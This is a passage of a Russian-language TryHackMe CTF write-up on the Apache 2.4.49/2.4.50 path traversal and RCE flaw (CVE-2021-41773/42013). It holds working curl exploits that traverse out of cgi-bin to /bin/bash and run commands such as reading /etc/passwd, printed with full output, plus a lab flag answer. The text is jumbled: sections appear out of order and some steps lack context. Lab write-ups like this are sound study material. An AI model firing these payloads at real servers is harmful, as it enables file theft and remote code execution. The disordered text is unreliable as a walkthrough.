CTF_WRITEUPS-TryHackMe-CVE-2021-41773-

CTF_WRITEUPS/TryHackMe /CVE-2021-41773/

CVE-2021-41773/42013

Небольшое объяснение ошибки обхода путей Apache и неполного исправления

Task 1: Немного предыстории...

Краткая история

5 октября 2021 года был опубликован CVE, описывающий атаку обхода путей на Apache HTTP Server v2.4.49. Ему был присвоен номер CVE-2021-41773, и он был выпущен со следующим описанием:

Была обнаружена ошибка в изменении, внесенном в нормализацию путей в Apache HTTP Server 2.4.49. Злоумышленник может использовать атаку обхода путей для сопоставления URL с файлами за пределами ожидаемого корневого каталога документов. Если файлы за пределами корневого каталога документов не защищены директивой "require all denied", такие запросы могут быть успешными. Кроме того, эта ошибка может раскрыть исходный код интерпретируемых файлов, таких как CGI-скрипты. Известно, что эта уязвимость эксплуатируется в реальных условиях. Эта проблема затрагивает только Apache 2.4.49, но не более ранние версии.

Давайте разберем это и посмотрим, что это на самом деле значит для нас:

Из первой части мы видим, что недавнее изменение выявило уязвимость. Нормализация пути означает, что мы преобразуем заданный путь в некоторую каноническую форму, понятную программному обеспечению, и таким образом сопоставляем его с реальной файловой системой. Это уже наводит на мысль об атаке обхода путей, которая потенциально может прочитать непредназначенные файлы.

И замените 'denied' на 'granted'. Это предоставит Apache доступ ко всей файловой системе (что, безусловно, НЕ является хорошей идеей, так что никогда не делайте этого в production). **Конфигурация для этой сочной RCE** Простое изменение контроля доступа приведет к раскрытию данных, но не к RCE. Чтобы получить RCE в нашем маленьком PoC, нам просто нужно активировать модуль CGI в дополнение к разрешениям доступа. Это заставит модуль CGI выполнять скрипт при его вызове, а не просто отображать его содержимое. Чтобы включить CGI, нам просто нужно раскомментировать конфигурацию LoadModule. Предполагая, что у нас все еще есть контейнер, который мы модифицировали ранее, мы можем сделать следующее:``` user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf . user@machine$ grep -C4 -n "mod_cgi" httpd.conf 180-#LoadModule asis_module modules/mod_asis.so 181-#LoadModule info_module modules/mod_info.so 182-#LoadModule suexec_module modules/mod_suexec.so 183-<IfModule !mpm_prefork_module> 184: #LoadModule cgid_module modules/mod_cgid.so 185-</IfModule> 186-<IfModule mpm_prefork_module> 187: #LoadModule cgi_module modules/mod_cgi.so 188-</IfModule> 189-#LoadModule dav_fs_module modules/mod_dav_fs.so 190-#LoadModule dav_lock_module modules/mod_dav_lock.so 191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so -- 385- 386-<IfModule cgid_module> 387- # 388- # ScriptSock: On threaded servers, designate the path to the UNIX 389: # socket used to communicate with the CGI daemon of mod_cgid. 390- # 391- #Scriptsock cgisock 392-</IfModule> 393- user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf user@machine docker container restart vuln-httpd vuln-httpd

**Apache 2.4.49 с включенным CGI** CGI усложнит ситуацию, так как модуль попытается выполнить полученный файл. Для простых текстовых файлов, таких как /etc/passwd, это может быть проблематично :). Для выполнения кода мы можем просто вызвать `sh` или `bash` с командой в теле запроса. Обратите внимание, что заголовок ответа Content-Type также должен быть отправлен, чтобы клиент знал, как отобразить результаты.``` user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain" * Trying 127.0.0.1:8080... * Connected to localhost (127.0.0.1) port 8080 (#1) > POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1 > Host: localhost:8080 > User-Agent: curl/7.74.0 > Accept: */* > Content-Type: text/plain > Content-Length: 52 > * upload completely sent off: 52 out of 52 bytes * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Mon, 11 Oct 2021 12:22:34 GMT < Server: Apache/2.4.49 (Unix) < Transfer-Encoding: chunked < Content-Type: text/plain < root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin * Connection #1 to host localhost left intact

Если присмотреться, мы видим, что URL декодируется из `%%32%65` в `%2e.` Это обходит фильтр и позволяет нам перемещаться за пределы корневого каталога веб-сервера. **Ответьте на вопросы ниже** 1. **Какой модуль должен быть включен для получения удаленного выполнения кода?** - **mod_cgi** --- ### Задание 4: Практический экзамен Конфигурация довольно кропотливая, поэтому я всё сделал за вас! В виртуальной машине, прикрепленной к этому заданию (пожалуйста, подождите до 4 минут для полного запуска подписной ВМ и 7 минут для бесплатной ВМ), настроены 4 уязвимых сервера Apache следующим образом: Apache 2.4.49 без CGI: `http://MACHINE_IP:8080` Apache 2.4.49 с CGI: `http://MACHINE_IP:8081` Apache 2.4.50 без CGI: `http://MACHINE_IP:8082` Apache 2.4.50 с CGI: `http://MACHINE_IP:8083` На каждом сервере есть флаг в корневом каталоге с именем `flag.txt`. Ваша задача — найти их все. В качестве дополнительной цели попробуйте получить настоящую оболочку на одном из серверов с включенным CGI. На сервере на порту 8083 также скрыт root-флаг. ***Ответьте на вопросы ниже*** 1. **Какой флаг на порту 8080?** - ***THM{724V3R51N6_P4TH5_F02_FUN}***``` $ curl -v http://10.10.107.169:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt - Trying 10.10.107.169:8080... - TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.107.169 (10.10.107.169) port 8080 (#0) > GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1 > Host: 10.10.107.169:8080 > User-Agent: curl/7.67.0 > Accept: _/_ - Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 08:57:26 GMT < Server: Apache/2.4.49 (Unix) < Last-Modified: Mon, 11 Oct 2021 09:16:12 GMT < ETag: "1d-5ce102e25be36" < Accept-Ranges: bytes < Content-Length: 29 < Content-Type: text/plain < { [29 bytes data] 100 29 100 29 0 0 29 0 0:00:01 --:--:-- 0:00:01 29THM{724V3R51N6_P4TH5_F02_FUN} - Connection #0 to host 10.10.107.169 left intact

CTF_WRITEUPS-TryHackMe-CVE-2021-41773-

Популярное

Task 2 Что такое обход путей (Path Traversal)?

Task 3 Ладно, ладно; Gib Hax!